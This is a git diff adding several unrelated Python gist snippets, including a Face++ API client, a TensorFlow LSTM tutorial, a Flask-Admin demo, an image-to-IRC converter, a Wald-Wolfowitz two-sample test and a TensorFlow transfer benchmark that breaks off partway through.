+#                DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 
+#                        Version 2, December 2004 
+#
+#     Copyright (C) 2004 Sam Hocevar <sam@hocevar.net> 
+#
+#     Everyone is permitted to copy and distribute verbatim or modified 
+#     copies of this license document, and changing it is allowed as long 
+#     as the name is changed. 
+#
+#                DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 
+#       TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 
+#
+#      0. You just DO WHAT THE FUCK YOU WANT TO. 
+
+"""a simple facepp sdk
+example:
+api = API(key, secret)
+api.detection.detect(img = File('/tmp/test.jpg'))"""
+
+__all__ = ['File', 'APIError', 'API']
+
+
+DEBUG_LEVEL = 1
+
+import sys
+import socket
+import urllib.request, urllib.parse, urllib.error
+import urllib.request, urllib.error, urllib.parse
+import json
+import os
+import os.path
+import itertools
+import email.generator
+import mimetypes
+import time
+import tempfile
+from collections import Iterable
+from io import StringIO
+
+class File(object):
+    """an object representing a local file"""
+    path = None
+    content = None
+    def __init__(self, path):
+        self.path = path
+        self._get_content()
+
+    def _resize_cv2(self, ftmp):
+        try:
+            import cv2
+        except ImportError:
+            return False
+        img = cv2.imread(self.path)
+        assert img is not None and img.size != 0, 'Invalid image'
+        bigdim = max(img.shape[0], img.shape[1])
+        downscale = max(1., bigdim / 600.)
+        img = cv2.resize(img,
+                (int(img.shape[1] / downscale),
+                    int(img.shape[0] / downscale)))
+        cv2.imwrite(ftmp, img)
+        return True
+
+    def _resize_PIL(self, ftmp):
+        try:
+            import PIL.Image
+        except ImportError:
+            return False
+
+        img = PIL.Image.open(self.path)
+        bigdim = max(img.size[0], img.size[1])
+        downscale = max(1., bigdim / 600.)
+        img = img.resize(
+                (int(img.size[0] / downscale), int(img.size[1] / downscale)))
+        img.save(ftmp)
+        return True
+
+    def _get_content(self):
+        """read image content; resize the image if necessary"""
+
+        if os.path.getsize(self.path) > 2 * 1024 * 1024:
+            ftmp = tempfile.NamedTemporaryFile(
+                    suffix = '.jpg', delete = False).name
+            try:
+                if not (self._resize_cv2(ftmp) or self._resize_PIL(ftmp)):
+                    raise APIError(-1, None, 'image file size too large')
+                with open(ftmp, 'rb') as f:
+                    self.content = f.read()
+            finally:
+                os.unlink(ftmp)
+        else:
+            with open(self.path, 'rb') as f:
+                self.content = f.read()
+
+    def get_filename(self):
+        return os.path.basename(self.path)
+
+
+class APIError(Exception):
+    code = None
+    """HTTP status code"""
+
+    url = None
+    """request URL"""
+
+    body = None
+    """server response body; or detailed error information"""
+
+    def __init__(self, code, url, body):
+        self.code = code
+        self.url = url
+        self.body = body
+
+    def __str__(self):
+        return 'code={s.code}\nurl={s.url}\n{s.body}'.format(s = self)
+
+    __repr__ = __str__
+
+
+class API(object):
+    key = None
+    secret = None
+    server = 'http://api.faceplusplus.com/'
+
+    decode_result = True
+    timeout = None
+    max_retries = None
+    retry_delay = None
+
+    def __init__(self, key, secret, srv = None,
+            decode_result = True, timeout = 30, max_retries = 10,
+            retry_delay = 5):
+        """:param srv: The API server address
+        :param decode_result: whether to json_decode the result
+        :param timeout: HTTP request timeout in seconds
+        :param max_retries: maximal number of retries after catching URL error
+            or socket error
+        :param retry_delay: time to sleep before retrying"""
+        self.key = key
+        self.secret = secret
+        if srv:
+            self.server = srv
+        self.decode_result = decode_result
+        assert timeout >= 0 or timeout is None
+        assert max_retries >= 0
+        self.timeout = timeout
+        self.max_retries = max_retries
+        self.retry_delay = retry_delay
+
+        _setup_apiobj(self, self, [])
+
+    def wait_async(self, session_id, referesh_interval = 2):
+        """wait for asynchronous operations to complete"""
+        while True:
+            rst = self.info.get_session(session_id = session_id)
+            if rst['status'] != 'INQUEUE':
+                return rst
+            _print_debug(rst)
+            time.sleep(referesh_interval)
+
+    def update_request(self, request):
+        """overwrite this function to update the request before sending it to
+        server"""
+        pass
+
+
+def _setup_apiobj(self, api, path):
+    if self is not api:
+        self._api = api
+        self._urlbase = api.server + '/'.join(path)
+
+    lvl = len(path)
+    done = set()
+    for i in _APIS:
+        if len(i) <= lvl:
+            continue
+        cur = i[lvl]
+        if i[:lvl] == path and cur not in done:
+            done.add(cur)
+            setattr(self, cur, _APIProxy(api, i[:lvl + 1]))
+
+class _APIProxy(object):
+    _api = None
+    """underlying :class:`API` object"""
+
+    _urlbase = None
+
+    def __init__(self, api, path):
+        _setup_apiobj(self, api, path)
+
+    def __call__(self, post = False, *args, **kargs):
+        if len(args):
+            raise TypeError('Only keyword arguments are allowed')
+        if type(post) is not bool:
+            raise TypeError('post argument can only be True or False')
+        form = _MultiPartForm()
+        add_form = False
+        for (k, v) in kargs.items():
+            if isinstance(v, File):
+                add_form = True
+                form.add_file(k, v.get_filename(), v.content)
+
+        if post:
+            url = self._urlbase
+            for k, v in self._mkarg(kargs).items():
+                form.add_field(k, v)
+            add_form = True
+        else:
+            url = self.geturl(**kargs)
+
+        request = urllib.request.Request(url)
+        if add_form:
+            body = str(form)
+            request.add_header('Content-type', form.get_content_type())
+            request.add_header('Content-length', str(len(body)))
+            request.add_data(body)
+
+        self._api.update_request(request)
+
+        retry = self._api.max_retries
+        while True:
+            retry -= 1
+            try:
+                ret = urllib.request.urlopen(request, timeout = self._api.timeout).read()
+                break
+            except urllib.error.HTTPError as e:
+                raise APIError(e.code, url, e.read())
+            except (socket.error, urllib.error.URLError) as e:
+                if retry < 0:
+                    raise e
+                _print_debug('caught error: {}; retrying'.format(e))
+                time.sleep(self._api.retry_delay)
+
+        if self._api.decode_result:
+            try:
+                ret = json.loads(ret.decode())
+            except:
+                raise APIError(-1, url, 'json decode error, value={0!r}'.format(ret))
+        return ret
+
+    def _mkarg(self, kargs):
+        """change the argument list (encode value, add api key/secret)
+        :return: the new argument list"""
+        def enc(x):
+            if isinstance(x, str):
+                return x.encode('utf-8')
+            return str(x)
+
+        kargs = kargs.copy()
+        kargs['api_key'] = self._api.key
+        kargs['api_secret'] = self._api.secret
+        for (k, v) in list(kargs.items()):
+            if isinstance(v, Iterable) and not isinstance(v, str):
+                kargs[k] = ','.join([enc(i) for i in v])
+            elif isinstance(v, File) or v is None:
+                del kargs[k]
+            else:
+                kargs[k] = enc(v)
+
+        return kargs
+
+    def geturl(self, **kargs):
+        """return the request url"""
+        return self._urlbase + '?' + urllib.parse.urlencode(self._mkarg(kargs)) 
+
+    def visit(self, browser = 'chromium', **kargs):
+        """visit the url in browser"""
+        os.system('{0} "{1}"'.format(browser, self.geturl(**kargs)))
+
+
+
+# ref: http://www.doughellmann.com/PyMOTW/urllib2/
+class _MultiPartForm(object):
+    """Accumulate the data to be used when posting a form."""
+
+    def __init__(self):
+        self.form_fields = []
+        self.files = []
+        self.boundary = email.generator._make_boundary()
+        return
+    
+    def get_content_type(self):
+        return 'multipart/form-data; boundary=%s' % self.boundary
+
+    def add_field(self, name, value):
+        """Add a simple field to the form data."""
+        self.form_fields.append((name, value))
+        return
+
+    def add_file(self, fieldname, filename, content, mimetype = None):
+        """Add a file to be uploaded."""
+        if mimetype is None:
+            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+        self.files.append((fieldname, filename, mimetype, content))
+        return
+    
+    def __str__(self):
+        """Return a string representing the form data, including attached files."""
+        # Build a list of lists, each containing "lines" of the
+        # request.  Each part is separated by a boundary string.
+        # Once the list is built, return a string where each
+        # line is separated by '\r\n'.  
+        parts = []
+        part_boundary = '--' + self.boundary
+        
+        # Add the form fields
+        parts.extend(
+            [ part_boundary,
+              'Content-Disposition: form-data; name="%s"' % name,
+              '',
+              value,
+            ]
+            for name, value in self.form_fields
+            )
+        
+        # Add the files to upload
+        parts.extend(
+            [ part_boundary,
+              'Content-Disposition: file; name="%s"; filename="%s"' % \
+                 (field_name, filename),
+              'Content-Type: %s' % content_type,
+              '',
+              body,
+            ]
+            for field_name, filename, content_type, body in self.files
+            )
+        
+        # Flatten the list and add closing boundary marker,
+        # then return CR+LF separated data
+        flattened = list(itertools.chain(*parts))
+        flattened.append('--' + self.boundary + '--')
+        flattened.append('')
+        return '\r\n'.join(flattened)
+
+
+def _print_debug(msg):
+    if DEBUG_LEVEL:
+        sys.stderr.write(str(msg) + '\n')
+
+_APIS = [
+  '/detection/detect',
+  '/detection/landmark',
+  '/faceset/add_face',
+  '/faceset/create',
+  '/faceset/delete',
+  '/faceset/get_info',
+  '/faceset/remove_face',
+  '/faceset/set_info',
+  '/group/add_person',
+  '/group/create',
+  '/group/delete',
+  '/group/get_info',
+  '/group/remove_person',
+  '/group/set_info',
+  '/grouping/grouping',
+  '/info/get_app',
+  '/info/get_face',
+  '/info/get_faceset_list',
+  '/info/get_group_list',
+  '/info/get_image',
+  '/info/get_person_list',
+  '/info/get_quota',
+  '/info/get_session',
+  '/person/add_face',
+  '/person/create',
+  '/person/delete',
+  '/person/get_info',
+  '/person/remove_face',
+  '/person/set_info',
+  '/recognition/compare',
+  '/recognition/group_search',
+  '/recognition/identify',
+  '/recognition/recognize',
+  '/recognition/search',
+  '/recognition/test_train',
+  '/recognition/train',
+  '/recognition/verify',
+  '/train/group_search',
+  '/train/identify',
+  '/train/recognize',
+  '/train/search',
+  '/train/verify'
+]
+
+_APIS = [i.split('/')[1:] for i in _APIS]
\ No newline at end of file
diff --git a/hard-gists/e97d518fe02a79177b081c028a83ec1c/._snippet.py b/hard-gists/e97d518fe02a79177b081c028a83ec1c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e97d518fe02a79177b081c028a83ec1c/._snippet.py differ
diff --git a/hard-gists/e97d518fe02a79177b081c028a83ec1c/snippet.py b/hard-gists/e97d518fe02a79177b081c028a83ec1c/snippet.py
new file mode 100644
index 00000000..900c6bc5
--- /dev/null
+++ b/hard-gists/e97d518fe02a79177b081c028a83ec1c/snippet.py
@@ -0,0 +1,74 @@
+#Source code with the blog post at http://monik.in/a-noobs-guide-to-implementing-rnn-lstm-using-tensorflow/
+import numpy as np
+import random
+from random import shuffle
+import tensorflow as tf
+
+# from tensorflow.models.rnn import rnn_cell
+# from tensorflow.models.rnn import rnn
+
+NUM_EXAMPLES = 10000
+
+train_input = ['{0:020b}'.format(i) for i in range(2**20)]
+shuffle(train_input)
+train_input = [map(int,i) for i in train_input]
+ti  = []
+for i in train_input:
+    temp_list = []
+    for j in i:
+            temp_list.append([j])
+    ti.append(np.array(temp_list))
+train_input = ti
+
+train_output = []
+for i in train_input:
+    count = 0
+    for j in i:
+        if j[0] == 1:
+            count+=1
+    temp_list = ([0]*21)
+    temp_list[count]=1
+    train_output.append(temp_list)
+
+test_input = train_input[NUM_EXAMPLES:]
+test_output = train_output[NUM_EXAMPLES:]
+train_input = train_input[:NUM_EXAMPLES]
+train_output = train_output[:NUM_EXAMPLES]
+
+print "test and training data loaded"
+
+
+data = tf.placeholder(tf.float32, [None, 20,1]) #Number of examples, number of input, dimension of each input
+target = tf.placeholder(tf.float32, [None, 21])
+num_hidden = 24
+cell = tf.nn.rnn_cell.LSTMCell(num_hidden,state_is_tuple=True)
+val, _ = tf.nn.dynamic_rnn(cell, data, dtype=tf.float32)
+val = tf.transpose(val, [1, 0, 2])
+last = tf.gather(val, int(val.get_shape()[0]) - 1)
+weight = tf.Variable(tf.truncated_normal([num_hidden, int(target.get_shape()[1])]))
+bias = tf.Variable(tf.constant(0.1, shape=[target.get_shape()[1]]))
+prediction = tf.nn.softmax(tf.matmul(last, weight) + bias)
+cross_entropy = -tf.reduce_sum(target * tf.log(tf.clip_by_value(prediction,1e-10,1.0)))
+optimizer = tf.train.AdamOptimizer()
+minimize = optimizer.minimize(cross_entropy)
+mistakes = tf.not_equal(tf.argmax(target, 1), tf.argmax(prediction, 1))
+error = tf.reduce_mean(tf.cast(mistakes, tf.float32))
+
+init_op = tf.initialize_all_variables()
+sess = tf.Session()
+sess.run(init_op)
+
+batch_size = 1000
+no_of_batches = int(len(train_input)) / batch_size
+epoch = 5000
+for i in range(epoch):
+    ptr = 0
+    for j in range(no_of_batches):
+        inp, out = train_input[ptr:ptr+batch_size], train_output[ptr:ptr+batch_size]
+        ptr+=batch_size
+        sess.run(minimize,{data: inp, target: out})
+    print "Epoch ",str(i)
+incorrect = sess.run(error,{data: test_input, target: test_output})
+print sess.run(prediction,{data: [[[1],[0],[0],[1],[1],[0],[1],[1],[1],[0],[1],[0],[0],[1],[1],[0],[1],[1],[1],[0]]]})
+print('Epoch {:2d} error {:3.1f}%'.format(i + 1, 100 * incorrect))
+sess.close()
\ No newline at end of file
diff --git a/hard-gists/e9851bc47dcf1ba7ee15/._snippet.py b/hard-gists/e9851bc47dcf1ba7ee15/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e9851bc47dcf1ba7ee15/._snippet.py differ
diff --git a/hard-gists/e9851bc47dcf1ba7ee15/snippet.py b/hard-gists/e9851bc47dcf1ba7ee15/snippet.py
new file mode 100644
index 00000000..502d593f
--- /dev/null
+++ b/hard-gists/e9851bc47dcf1ba7ee15/snippet.py
@@ -0,0 +1,6 @@
+import tank
+from maya import cmds
+path = cmds.file(q=True, sn=True)
+tk = tank.tank_from_path(path)
+ctx = tk.context_from_path(path)
+tank.platform.start_engine('tk-maya', tk, ctx)
\ No newline at end of file
diff --git a/hard-gists/e99c114a5b33cd2da538/._snippet.py b/hard-gists/e99c114a5b33cd2da538/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e99c114a5b33cd2da538/._snippet.py differ
diff --git a/hard-gists/e99c114a5b33cd2da538/snippet.py b/hard-gists/e99c114a5b33cd2da538/snippet.py
new file mode 100644
index 00000000..78d733e0
--- /dev/null
+++ b/hard-gists/e99c114a5b33cd2da538/snippet.py
@@ -0,0 +1,78 @@
+# -*- coding: utf-8 -*-
+# Many thanks to http://stackoverflow.com/users/400617/davidism
+# This code under "I don't care" license
+# Take it, use it, learn from it, make it better.
+# Start this from cmd or shell or whatever
+# Go to favourite browser and type localhost:5000/admin
+import sys
+from flask import Flask
+from flask.ext.sqlalchemy import SQLAlchemy
+from flask.ext.admin import Admin
+from flask.ext.admin.contrib.sqla import ModelView
+
+app = Flask(__name__)
+
+app.config['SECRET_KEY'] = '123456790'
+
+# Create in-memory database
+app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.sqlite'
+
+# Set echo for debug purposes
+app.config['SQLALCHEMY_ECHO'] = True
+
+# Create db instance
+db = SQLAlchemy(app)
+
+# Create admin instance 
+admin = Admin(app)
+
+
+class Product(db.Model):
+    __tablename__ = 'product'
+
+    id = db.Column(db.Integer, primary_key=True)
+    name = db.Column(db.Unicode(200), nullable=False)
+
+    # cover image foreign key
+    # use_alter=True along with name='' adds this foreign key after Image has been created to avoid circular dependency
+    cover_id = db.Column(db.Integer, db.ForeignKey('image.id', use_alter=True, name='fk_product_cover_id'))
+
+    # cover image one-to-one relationship
+    # set post_update=True to avoid circular dependency during
+    cover = db.relationship('Image', foreign_keys=cover_id, post_update=True)
+
+class Image(db.Model):
+    __tablename__ = 'image'
+
+    id = db.Column(db.Integer, primary_key=True)
+    path = db.Column(db.String(200), nullable=False)
+    product_id = db.Column(db.Integer, db.ForeignKey(Product.id))
+
+    # product gallery many-to-one
+    product = db.relationship(Product, foreign_keys=product_id, backref='images')
+
+    # nothing special was need in Image, all circular dependencies were solved in Product
+
+# Need to implement custom Image list
+class ProductView(ModelView):
+	def __init__(self, session, **kwargs):
+   		super(ProductView, self).__init__(Product, session,**kwargs)
+
+
+class ImageView(ModelView):
+	def __init__(self, session, **kwargs):
+   		super(ImageView, self).__init__(Image, session,**kwargs)
+
+admin.add_view(ProductView(db.session))
+admin.add_view(ImageView(db.session))
+
+if __name__ == '__main__':
+        # Create tables
+        db.create_all()
+        
+        # Run in debug mode
+        app.debug = True
+        
+        # Go!
+        app.run()
+
diff --git a/hard-gists/e9fb36ca2220a167b7ed/._snippet.py b/hard-gists/e9fb36ca2220a167b7ed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e9fb36ca2220a167b7ed/._snippet.py differ
diff --git a/hard-gists/e9fb36ca2220a167b7ed/snippet.py b/hard-gists/e9fb36ca2220a167b7ed/snippet.py
new file mode 100644
index 00000000..b33d90f9
--- /dev/null
+++ b/hard-gists/e9fb36ca2220a167b7ed/snippet.py
@@ -0,0 +1,90 @@
+#!/usr/bin/env python3
+# MIT License.
+# Copyright (c) 2016 Ramiro Bou (Polsaker)
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# Usage: img2irc.py image.png [-rgb]
+# With -rgb the script uses RGB to compare colors instead of L*A*B*.
+# It is faster but it might lead to worse (or better ;D) image quality
+
+from PIL import Image
+import numpy as np
+import sys, math
+
+if len(sys.argv) == 1:
+    print("Usage: img2irc.py image.png [-rgb]")
+    sys.exit(1)
+
+image = sys.argv[1]
+try:
+    rgb = True if sys.argv[2] == "-rgb" else False
+except IndexError:
+    rgb = False
+
+if not rgb:
+    from colormath.color_objects import LabColor, sRGBColor
+    from colormath.color_conversions import convert_color
+
+
+img = Image.open(image).convert('RGBA')
+arr = np.array(np.asarray(img).astype('float'))
+
+def distance(c1, c2):
+    if rgb:
+        (r1,g1,b1) = (c1[0], c1[1], c1[2])
+        (r2,g2,b2) = (c2[0], c2[1], c2[2])
+    else:
+        rgb1 = sRGBColor(c1[0], c1[1], c1[2])
+        rgb2 = sRGBColor(c2[0], c2[1], c2[2])
+        lab1 = convert_color(rgb1, LabColor)
+        lab2 = convert_color(rgb2, LabColor)
+        (r1,g1,b1) = lab1.lab_l, lab1.lab_a, lab1.lab_b
+        (r2,g2,b2) = lab2.lab_l, lab2.lab_a, lab2.lab_b
+
+    return math.sqrt((r1 - r2)**2 + (g1 - g2) ** 2 + (b1 - b2) **2)
+
+ircColors = {(211, 215, 207): 0,
+             (46, 52, 54): 1,
+             (52, 101, 164): 2,
+             (78, 154, 6): 3,
+             (204, 0, 0): 4,
+             (143, 57, 2): 5,
+             (92, 53, 102): 6,
+             (206, 92, 0): 7,
+             (196, 160, 0): 8,
+             (115, 210, 22): 9,
+             (17, 168, 121): 10,
+             (88, 161, 157): 11,
+             (87, 121, 158): 12,
+             (160, 67, 101): 13,
+             (85, 87, 83): 14,
+             (136, 137, 133): 15}
+
+colors = list(ircColors.keys())
+
+for line in arr:
+    row = ""
+    for pixel in line:
+        if pixel[3] == 0:
+            row += "\003  " # \003 to close any potential open color tag
+        else:
+            closest_colors = sorted(colors, key=lambda color: distance(color, pixel))
+            closest_color = closest_colors[0]
+            row += "\003{0},{0}  ".format(ircColors[closest_color])
+    print(row)
diff --git a/hard-gists/e9ff0ac61fcb3b1b60ba/._snippet.py b/hard-gists/e9ff0ac61fcb3b1b60ba/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e9ff0ac61fcb3b1b60ba/._snippet.py differ
diff --git a/hard-gists/e9ff0ac61fcb3b1b60ba/snippet.py b/hard-gists/e9ff0ac61fcb3b1b60ba/snippet.py
new file mode 100644
index 00000000..6a2f8c60
--- /dev/null
+++ b/hard-gists/e9ff0ac61fcb3b1b60ba/snippet.py
@@ -0,0 +1,131 @@
+"""
+Multivariate Wald-Wolfowitz test for two samples in separate CSV files.
+
+See:
+  Friedman, Jerome H., and Lawrence C. Rafsky.
+  "Multivariate generalizations of the Wald-Wolfowitz and Smirnov two-sample tests."
+  The Annals of Statistics (1979): 697-717.
+
+Given multivariate sample X of length m and sample Y of length n, test the null hypothesis:
+
+    H_0: The samples were generated by the same distribution
+
+The algorithm uses a KD-tree to construct the minimum spanning tree, therefore is O(Nk log(Nk))
+instead of O(N^3), where N = m + n is the total number of observations. Though approximate,
+results are generally valid. See also:
+
+Monaco, John V.
+"Classification and authentication of one-dimensional behavioral biometrics."
+Biometrics (IJCB), 2014 IEEE International Joint Conference on. IEEE, 2014.
+
+The input files should be CSV files with no header and row observations, for example:
+
+X.csv
+-----
+1,2
+2,2
+3,1
+
+Y.csv
+-----
+1,1
+2,4
+3,2
+4,2
+
+Usage:
+
+$ python X.csv Y.csv
+
+> W = 0.485, 5 runs
+> p = 0.6862
+> Fail to reject H_0 at 0.05 significance level
+> The samples appear to have similar distribution
+"""
+import sys
+import numpy as np
+import pandas as pd
+import scipy.stats as stats
+from sklearn.neighbors import kneighbors_graph
+from scipy.sparse.csgraph import minimum_spanning_tree
+
+SIGNIFICANCE = 0.05
+
+
+def mst_edges(V, k):
+    """
+    Construct the approximate minimum spanning tree from vectors V
+
+    :param: V: 2D array, sequence of vectors
+    :param: k: int the number of neighbor to consider for each vector
+    :return: V ndarray of edges forming the MST
+    """
+
+    # k = len(X)-1 gives the exact MST
+    k = min(len(V) - 1, k)
+
+    # generate a sparse graph using the k nearest neighbors of each point
+    G = kneighbors_graph(V, n_neighbors=k, mode='distance')
+
+    # Compute the minimum spanning tree of this graph
+    full_tree = minimum_spanning_tree(G, overwrite=True)
+
+    return np.array(full_tree.nonzero()).T
+
+
+def ww_test(X, Y, k=10):
+    """
+    Multi-dimensional Wald-Wolfowitz test
+
+    :param X: multivariate sample X as a numpy ndarray
+    :param Y: multivariate sample Y as a numpy ndarray
+    :param k: number of neighbors to consider for each vector
+    :return: W the WW test statistic, R the number of runs
+    """
+    m, n = len(X), len(Y)
+    N = m + n
+
+    XY = np.concatenate([X, Y]).astype(np.float)
+
+    # XY += np.random.normal(0, noise_scale, XY.shape)
+
+    edges = mst_edges(XY, k)
+
+    labels = np.array([0] * m + [1] * n)
+
+    c = labels[edges]
+    runs_edges = edges[c[:, 0] == c[:, 1]]
+
+    # number of runs is the total number of observations minus edges within each run
+    R = N - len(runs_edges)
+
+    # expected value of R
+    e_R = ((2.0 * m * n) / N) + 1
+
+    # variance of R is _numer/_denom
+    _numer = 2 * m * n * (2 * m * n - N)
+    _denom = N ** 2 * (N - 1)
+
+    # see Eq. 1 in Friedman 1979
+    # W approaches a standard normal distribution
+    W = (R - e_R) / np.sqrt(_numer/_denom)
+
+    return W, R
+
+
+if __name__ == '__main__':
+    if len(sys.argv) != 3:
+        print('Usage: $ python runs_test.py [X] [Y]')
+        sys.exit(1)
+
+    X = pd.read_csv(sys.argv[1], header=None).values
+    Y = pd.read_csv(sys.argv[2], header=None).values
+
+    W, R = ww_test(X, Y)
+    pvalue = stats.norm.cdf(W)  # one sided test
+    reject = pvalue <= SIGNIFICANCE
+
+    print('W = %.3f, %d runs' % (W, R))
+    print('p = %.4f' % pvalue)
+    print('%s H_0 at 0.05 significance level' % ('Reject' if reject else 'Fail to reject'))
+    print('The samples appear to have %s distribution' % ('different' if reject else 'similar'))
diff --git a/hard-gists/ea1b1bae0a75c4aae593df7eca72d9ca/._snippet.py b/hard-gists/ea1b1bae0a75c4aae593df7eca72d9ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ea1b1bae0a75c4aae593df7eca72d9ca/._snippet.py differ
diff --git a/hard-gists/ea1b1bae0a75c4aae593df7eca72d9ca/snippet.py b/hard-gists/ea1b1bae0a75c4aae593df7eca72d9ca/snippet.py
new file mode 100644
index 00000000..7f390b9a
--- /dev/null
+++ b/hard-gists/ea1b1bae0a75c4aae593df7eca72d9ca/snippet.py
@@ -0,0 +1,222 @@
+#!/usr/bin/env python
+# Benchmark transferring data, part of troubleshooting https://github.com/tensorflow/tensorflow/issues/6116
+#
+# Take a independent workers communicating with b parameter shards
+# Each worker tries to add to variables stored on parameter server as fast as
+# possible.
+# 
+# macbook
+# ps=1: 1.6 GB/s
+# ps=2: 2.6 GB/s
+# 
+# xeon:
+# ps=1: 0.5-0.6 GB/s
+# ps=2: 1.1-1.3 GB/s
+# ps=4: 1.7-1.9 GB/s
+# ps=8: 2.6-3.1 GB/s
+# ps=16: 2.3 GB/s
+#
+# There is significant slowdown when using larger sizes. For instance
+# transferring 128MB chunks give about 446 MB/second. Changing to
+# 1024MB chunks, the rate goes down to 102 MB/second
+# 
+# to run with tcmalloc, set
+# export LD_PRELOAD="/usr/lib/libtcmalloc.so.4" 
+#
+# reduce spurious logging with TF_CPP_MIN_LOG_LEVEL=2
+# Problems:
+# - sometimes get scary message at the end, possibly because our ps worker
+# quits while being connected to a session
+
+
+import os
+import subprocess
+import sys
+import tensorflow as tf
+import threading
+import time
+
+flags = tf.flags
+flags.DEFINE_integer("iters", 10, "Maximum number of additions")
+flags.DEFINE_integer("data_mb", 128, "size of vector in MBs")
+flags.DEFINE_integer("workers", 1, "number of workers")
+flags.DEFINE_string("strategy", "push", "push to have workers update ps, pull "
+                    "to have them pull data from ps, both to do both")
+flags.DEFINE_integer("ps", 1, "number of ps shards")
+flags.DEFINE_integer("starting_port", 12222, "first port to use")
+flags.DEFINE_boolean("verbose", False, "extra logging")
+
+# internal flags, don't use
+flags.DEFINE_string("job_name", "", "worker or ps")
+flags.DEFINE_integer("task_index", -1, "# of current task")
+FLAGS = flags.FLAGS
+
+session_config = tf.ConfigProto(intra_op_parallelism_threads=10,
+                                inter_op_parallelism_threads=10)
+
+# setup local cluster from flags
+host = "127.0.0.1"
+ps_ports = range(FLAGS.starting_port, FLAGS.starting_port+FLAGS.ps)
+worker_ports = range(FLAGS.starting_port+FLAGS.ps, FLAGS.starting_port+FLAGS.ps+FLAGS.workers)
+
+cluster = {"ps": [host+":"+str(p) for p in ps_ports],
+           "worker": [host+":"+str(p) for p in worker_ports]}
+clusterspec = tf.train.ClusterSpec(cluster).as_cluster_def()
+
+dtype=tf.int32
+params_size = 250*1000*FLAGS.data_mb # 1MB is 250k integers
+sharded_params_size = params_size/FLAGS.ps
+
+def log(s):
+  if FLAGS.verbose:
+    print(s)
+    
+def create_graph(worker):
+  """Creates graph for worker worker and all ps shards"""
+  
+  params = []
+  updates = []
+  param_init_ops = []
+  for i in range(FLAGS.ps):
+    with tf.device("job:ps/task:"+str(i)):
+      param = tf.get_variable(name="params"+str(i),
+                              shape=[sharded_params_size],
+                              dtype=dtype,
+                              initializer=tf.zeros_initializer)
+      params.append(param)
+      param_init_ops.append(param.initializer)
+
+  add_ops = []
+  update_init_ops = []
+
+  with tf.device("job:worker/task:"+str(worker)):
+    for i in range(FLAGS.ps):
+      update = tf.get_variable(name="update"+str(i),
+                               shape=[sharded_params_size],
+                               dtype=dtype,
+                               initializer=tf.zeros_initializer)
+      if FLAGS.strategy == "push":
+        add_op = params[i].assign_add(update)
+      elif FLAGS.strategy == "pull":
+        add_op = update.assign_add(params[i])
+      elif FLAGS.strategy == "both":
+        local_update = tf.identity(params[i].read_value())
+        add_op = params[i].assign_add(local_update)
+      add_ops.append(add_op)
+      update_init_ops.append(update.initializer)
+
+  return update_init_ops, param_init_ops, add_ops
+
+def create_done_queue(i):
+  """Queue used to signal death for i'th ps shard. Intended to have 
+  all workers enqueue an item onto it to signal doneness."""
+  
+  with tf.device("/job:ps/task:%d" % (i)):
+    return tf.FIFOQueue(FLAGS.workers, tf.int32, shared_name="done_queue"+
+                        str(i))
+  
+def create_done_queues():
+  return [create_done_queue(i) for i in range(FLAGS.ps)]
+    
+def run_ps():
+  """Main loop for single ps server shard. Initializes variables on that
+  shard."""
+  
+  log("ps %d: running"%(FLAGS.task_index))
+
+  server = tf.train.Server(cluster,
+                           job_name=FLAGS.job_name,
+                           task_index=FLAGS.task_index)
+  sess = tf.Session(server.target, config=session_config)
+
+  # run initialization for variables on this shard
+  update_init_ops, param_init_ops, add_ops = create_graph(0)
+
+  log("ps %d: initializing"%(FLAGS.task_index))
+  sess.run(param_init_ops[FLAGS.task_index])
+  
+  queue = create_done_queue(FLAGS.task_index)
+  
+  # wait until all workers are done
+  for i in range(FLAGS.workers):
+    sess.run(queue.dequeue())
+    log("ps %d received done %d" % (FLAGS.task_index, i))
+  log("ps %d: quitting"%(FLAGS.task_index))
+
+def run_worker():
+  """Main loop for single worker."""
+  
+  log("worker %d: running"%(FLAGS.task_index))
+
+  update_init_ops, param_init_ops, add_ops = create_graph(FLAGS.task_index)
+  
+  server = tf.train.Server(cluster,
+                           job_name=FLAGS.job_name,
+                           task_index=FLAGS.task_index)
+  sess = tf.Session(server.target, config=session_config)
+  sess.run(update_init_ops)
+
+  # wait for parameter server variables to be initialized
+  uninited_op = tf.report_uninitialized_variables()
+  while(len(sess.run(uninited_op)) > 0):
+    log("worker %d: ps uninitialized, sleeping" % FLAGS.task_index)
+    time.sleep(1)
+  
+  for add_op in add_ops:
+    sess.run(add_op.op)  # warm-up
+
+  start_time = time.time()
+
+  # communicate with parameter server in separate threads
+  def create_worker_thread(add_op, iters):
+    def worker_thread():
+      for i in range(iters):
+        sess.run(add_op.op)
+    return worker_thread
+
+  threads = []
+  for i in range(FLAGS.ps):
